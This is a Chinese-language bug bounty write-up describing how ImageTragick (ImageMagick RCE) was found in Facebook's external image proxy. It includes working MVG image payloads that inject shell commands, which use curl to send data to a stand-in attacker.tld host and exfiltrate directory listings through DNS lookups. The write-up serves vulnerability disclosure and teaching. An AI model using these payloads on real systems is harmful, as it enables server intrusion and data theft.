相信大多数人都对ImageMagick RCE漏洞有所知晓,该漏洞于去年4月底被发现,由于其软件本身被很多知名网站使用,且存在很多流行拓展插件,漏洞最终造成了很大影响。ImageMagick的首次漏洞发现,是白帽子stewie通过HackerOne平台的Mail.Ru网站测试发现的,该漏洞为文件读取漏洞;随后,Mail.Ru安全团队把这一漏洞报送给了ImageMagick官方进行修复。但仅在几天后, Mail.Ru安全团队研究人员Nikolay Ermishkin深入分析,又发现了ImageMagick存在的远程代码执行漏洞。

在这里,我要和大家分享的是,我如何发现Facebook存在的ImageMagick漏洞。

RadeBit小知识:ImageMagick远程代码执行漏洞

ImageMagick是一款开源的创建、编辑、合成图片的软件。可以读取、转换、写入多达90多种格式图片,遵守GPL许可协议,可运行于大多数的操作系统。 由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。比如php有IMagick、MagickWand for PHP 、phMagick等ImageMagick拓展库,java有JMagick,python有PythonMagick、Wand 等拓展库。

许多流行网站和论坛也使用ImageMagick拓展来做web相关图片处理工作,比如用户头像生成、图片编辑等。2016年4月底,ImageMagick被曝存在高危远程代码执行漏洞(RCE)。攻击者可以利用漏洞上传恶意构造的图像文件,实现在目标服务器和网站远程执行任意代码。

漏洞信息专题网站:https://imagetragick.com/

exploit-db:https://www.exploit-db.com/exploits/39767/

漏洞利用POC参考:https://github.com/ImageTragick/PoCs

起因

10月的某个周六,我正在对一些大型网站(不是facebook)进行安全测试,无意间,一个测试过程中发生的重定向链接让我意识到facebook可能存在漏洞。该重定向在点击Share on Facebook分享按钮之后发生:

链接:

https://www.facebook.com/dialog/feed?app_id=APP_ID&link=link.example.tld&picture=http%3A%2F%2Fattacker.tld%2Fexploit.png&name=news_name&caption=news_caption&description=news_descriotion&redirect_uri=http%3A%2F%2Fwww.facebook.com&ext=1476569763&hash=Aebid3vZFdh4UF1H

Facebook的ImageMagick漏洞-RadeBit瑞安全

仔细观察上述链接可以注意到,其中包含的picture图片参数是一个url,但显示在网页内容中却并不是一个真正意义上的图片url。这幅调用Google的图片https://www.google.com/images/errors/robot.png)正常来说,应该是这样的:

Facebook的ImageMagick漏洞-RadeBit瑞安全

但在Facebook网页中,它是这样的:

https://external.fhen1-1.fna.fbcdn.net/safe_image.php?d=AQDaeWq2Fn1Ujs4P&w=158&h=158&url=https%3A%2F%2Fwww.google.com%2Fimages%2Ferrors%2Frobot.png&cfs=1&upscale=1&_nc_hash=AQD2uvqIgAdXgWyb

Facebook的ImageMagick漏洞-RadeBit瑞安全

一开始我考虑的是SSRF漏洞,但经测试发现,该链接中涉及的图片请求回应来自facebook官方服务器facebookexternalhit/1.1.的31.13.97.* :

nc -lvvv 8088
Connection from 31.13.97.* port 8088 [tcp/radan-http] accepted
GET /exploit.png?ddfadsvdbv HTTP/1.1
User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
Accept: */*
Accept-Encoding: deflate, gzip
Host: attacker.tld
Connection: keep-alive

深挖

它看起来像是一个正常的服务器请求,但是由于其图片转换的奇怪,让我有了继续深挖的动力。然而,在经过了一连串的SVG漏洞、SSRF漏洞和XXE漏洞测试过后,我一无所获,内心飘过一丝丝失望。尽管如此,我还是希望最后尝试一下ImageTragick漏洞。(漏洞相关POC参照:Github

首先构造一个简单的图片攻击exploit.png:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://attacker.tld/" -d @- > /dev/null`'
pop graphic-context

攻击之后,对80端口入站信息进行监听,擦,什么都没有….

$ nc -lvvv 80

我想想,难道是有防火墙限制?通常有些公司网站只会对通用请求进行过滤,但不会过滤DNS请求信息,再试试看:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60curl "http://record_under_attacker_controled_ns_server.attacker.tld/" -d @- > /dev/null`'
pop graphic-context

终于有结果了:

IP: 31.13.*.*; NetName: LLA1-11
NAME: record_under_attacker_controled_ns_server.attacker.tld, Type: A

IP的Whois信息显示为大大的FACEBOOK:

netname: LLA1-11
descr: Facebook

好吧,可以庆祝了!

梳理

漏洞实现的整个过程应该是这样产生的:

Facebook服务器端首先对’picture’参数涉及的google图片(https://www.google.com/images/errors/robot.png)进行请求,该过程是正常的,不存在漏洞;

之后,利用ImageMagick库相关插件对接收到图片进行格式和存储转换,该过程中使用的ImageMagick库存在漏洞。

说实话,我曾尝试找到一种通用方法来构造HTTP请求的漏洞利用,但是经过简单的测试后发现,facebook服务器几乎所有对外端口都是关闭,要找到一个可以监听利用的端口就必须得花很长时间。所以,我重新对payload进行了有效调整:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=%60for i in $(ls /) ; do curl "http://$i.attacker.tld/" -d @- > /dev/null; done`'
pop graphic-context

成功执行payload后,最终可以成功返回有效信息:

NAME: home.attacker.tld, Type: A
NAME: boot.attacker.tld, Type: 28
NAME: dev.attacker.tld, Type: 28
NAME: bin.attacker.tld, Type: A

相关进程和权限信息如下:

NAME: uid=99(nobody).attacker.tld., Type: 28
NAME: groups=99(nobody).attacker.tld., Type: A
NAME: gid=99(nobody).attacker.tld., Type: A

为了充分证明该漏洞的有效性,我给Facebook安全团队提供了其服务器获取内核版本信息(cat/proc/version)的结果,在此就不作公布了。根据Facebook的漏洞披露策略,为了不影响其系统的正常运行,我就点到为止吧。漏洞报告给Facebook后,其安全团队的Neal告诉我,他认为用命令“cat/proc/version | base64”执行结果证明可能会更好,另外,一些实验表明,base32命令在DNS隧道等很多技术中都比较常用。